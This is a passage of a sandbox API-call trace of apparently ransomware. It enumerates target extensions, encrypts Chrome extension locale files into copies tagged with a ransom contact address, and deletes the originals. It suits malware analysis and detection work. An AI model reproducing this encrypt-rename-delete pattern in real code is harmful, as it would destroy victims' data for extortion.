(lpString1=".docx", lpString2=".json") returned -1 [0173.442] lstrlenW (lpString=".pdf") returned 4 [0173.442] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.442] lstrlenW (lpString=".xls") returned 4 [0173.443] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.443] lstrlenW (lpString=".xlsx") returned 5 [0173.443] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.443] lstrlenW (lpString=".ppt") returned 4 [0173.443] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.443] lstrlenW (lpString=".zip") returned 4 [0173.443] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.443] lstrlenW (lpString=".rar") returned 4 [0173.443] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.443] lstrlenW (lpString=".bz2") returned 4 [0173.443] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.443] lstrlenW (lpString=".7z") returned 3 [0173.443] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.443] lstrlenW (lpString=".dbf") returned 4 [0173.443] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.443] lstrlenW (lpString=".1cd") returned 4 [0173.443] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.443] lstrlenW (lpString=".jpg") returned 4 [0173.443] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.443] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.443] lstrlenW (lpString=".doc") returned 4 [0173.443] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.443] lstrlenW (lpString=".docx") returned 5 [0173.444] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.444] lstrlenW (lpString=".pdf") returned 4 [0173.444] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.444] lstrlenW (lpString=".xls") returned 4 [0173.444] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.444] lstrlenW (lpString=".xlsx") returned 5 [0173.444] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.444] lstrlenW (lpString=".ppt") returned 4 [0173.444] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.444] lstrlenW (lpString=".zip") returned 4 [0173.444] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.444] lstrlenW (lpString=".rar") returned 4 [0173.444] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.444] lstrlenW (lpString=".bz2") returned 4 [0173.444] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.444] lstrlenW (lpString=".7z") returned 3 [0173.444] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.444] lstrlenW (lpString=".dbf") returned 4 [0173.444] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.444] lstrlenW (lpString=".1cd") returned 4 [0173.444] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.444] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\tr\\messages.json") returned 151 [0173.444] lstrlenW (lpString=".jpg") returned 4 [0173.444] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.445] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.445] lstrlenW (lpString="messages.json") returned 13 [0173.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.445] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=264) returned 1 [0173.445] CloseHandle (hObject=0x19c) returned 1 [0173.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json")) returned 0x2020 [0173.445] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.445] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.446] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.446] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.446] GetLastError () returned 0x0 [0173.446] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x108, lpOverlapped=0x0) returned 1 [0173.447] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x110, lpOverlapped=0x0) returned 1 [0173.448] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.448] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.448] SetEndOfFile (hFile=0x1a0) returned 1 [0173.448] CloseHandle (hObject=0x1a0) returned 1 [0173.448] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.449] SetEndOfFile (hFile=0x19c) returned 1 [0173.449] CloseHandle (hObject=0x19c) returned 1 [0173.449] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.450] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json")) returned 1 [0173.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.450] lstrlenW (lpString=".doc") returned 4 [0173.450] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.450] lstrlenW (lpString=".docx") returned 5 [0173.450] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.450] lstrlenW (lpString=".pdf") returned 4 [0173.450] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.450] lstrlenW (lpString=".xls") returned 4 [0173.450] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.450] lstrlenW (lpString=".xlsx") returned 5 [0173.450] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.450] lstrlenW (lpString=".ppt") returned 4 [0173.450] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.450] lstrlenW (lpString=".zip") returned 4 [0173.450] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.450] lstrlenW (lpString=".rar") returned 4 [0173.450] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.450] lstrlenW (lpString=".bz2") returned 4 [0173.450] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.450] lstrlenW (lpString=".7z") returned 3 [0173.450] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.450] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.450] lstrlenW (lpString=".dbf") returned 4 [0173.451] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.451] lstrlenW (lpString=".1cd") returned 4 [0173.451] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.451] lstrlenW (lpString=".jpg") returned 4 [0173.451] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.451] lstrlenW (lpString=".doc") returned 4 [0173.451] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.451] lstrlenW (lpString=".docx") returned 5 [0173.451] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.451] lstrlenW (lpString=".pdf") returned 4 [0173.451] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.451] lstrlenW (lpString=".xls") returned 4 [0173.451] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.451] lstrlenW (lpString=".xlsx") returned 5 [0173.451] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.451] lstrlenW (lpString=".ppt") returned 4 [0173.451] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.451] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.451] lstrlenW (lpString=".zip") returned 4 [0173.451] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.451] lstrlenW (lpString=".rar") returned 4 [0173.451] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.451] lstrlenW (lpString=".bz2") returned 4 [0173.451] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.452] lstrlenW (lpString=".7z") returned 3 [0173.452] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.452] lstrlenW (lpString=".dbf") returned 4 [0173.452] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.452] lstrlenW (lpString=".1cd") returned 4 [0173.452] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.452] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\uk\\messages.json") returned 151 [0173.452] lstrlenW (lpString=".jpg") returned 4 [0173.452] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.452] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.452] lstrlenW (lpString="messages.json") returned 13 [0173.452] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.452] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=225) returned 1 [0173.453] CloseHandle (hObject=0x19c) returned 1 [0173.453] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json")) returned 0x2020 [0173.453] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0173.453] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.453] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.453] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0173.453] GetLastError () returned 0x0 [0173.453] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xe1, lpOverlapped=0x0) returned 1 [0173.454] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf0, lpOverlapped=0x0) returned 1 [0173.455] ReadFile (in: hFile=0x19c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0173.455] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.455] SetEndOfFile (hFile=0x1a0) returned 1 [0173.455] CloseHandle (hObject=0x1a0) returned 1 [0173.456] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0173.456] SetEndOfFile (hFile=0x19c) returned 1 [0173.456] CloseHandle (hObject=0x19c) returned 1 [0173.456] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.457] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json")) returned 1 [0173.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.457] lstrlenW (lpString=".doc") returned 4 [0173.457] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.457] lstrlenW (lpString=".docx") returned 5 [0173.457] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.457] lstrlenW (lpString=".pdf") returned 4 [0173.457] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.457] lstrlenW (lpString=".xls") returned 4 [0173.457] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.457] lstrlenW (lpString=".xlsx") returned 5 [0173.457] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.457] lstrlenW (lpString=".ppt") returned 4 [0173.457] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.457] lstrlenW (lpString=".zip") returned 4 [0173.457] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.457] lstrlenW (lpString=".rar") returned 4 [0173.457] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.457] lstrlenW (lpString=".bz2") returned 4 [0173.457] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.457] lstrlenW (lpString=".7z") returned 3 [0173.457] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.458] lstrlenW (lpString=".dbf") returned 4 [0173.458] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.458] lstrlenW (lpString=".1cd") returned 4 [0173.458] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.458] lstrlenW (lpString=".jpg") returned 4 [0173.458] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.458] lstrlenW (lpString=".doc") returned 4 [0173.458] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.458] lstrlenW (lpString=".docx") returned 5 [0173.458] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.458] lstrlenW (lpString=".pdf") returned 4 [0173.458] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.458] lstrlenW (lpString=".xls") returned 4 [0173.458] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.458] lstrlenW (lpString=".xlsx") returned 5 [0173.458] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.458] lstrlenW (lpString=".ppt") returned 4 [0173.458] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.458] lstrlenW (lpString=".zip") returned 4 [0173.458] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.458] lstrlenW (lpString=".rar") returned 4 [0173.458] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.458] lstrlenW (lpString=".bz2") returned 4 [0173.459] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.459] lstrlenW (lpString=".7z") returned 3 [0173.459] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.459] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 151 [0173.459] lstrlenW (lpString=".dbf") returned 4 [0173.459] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.459] lstrlenW 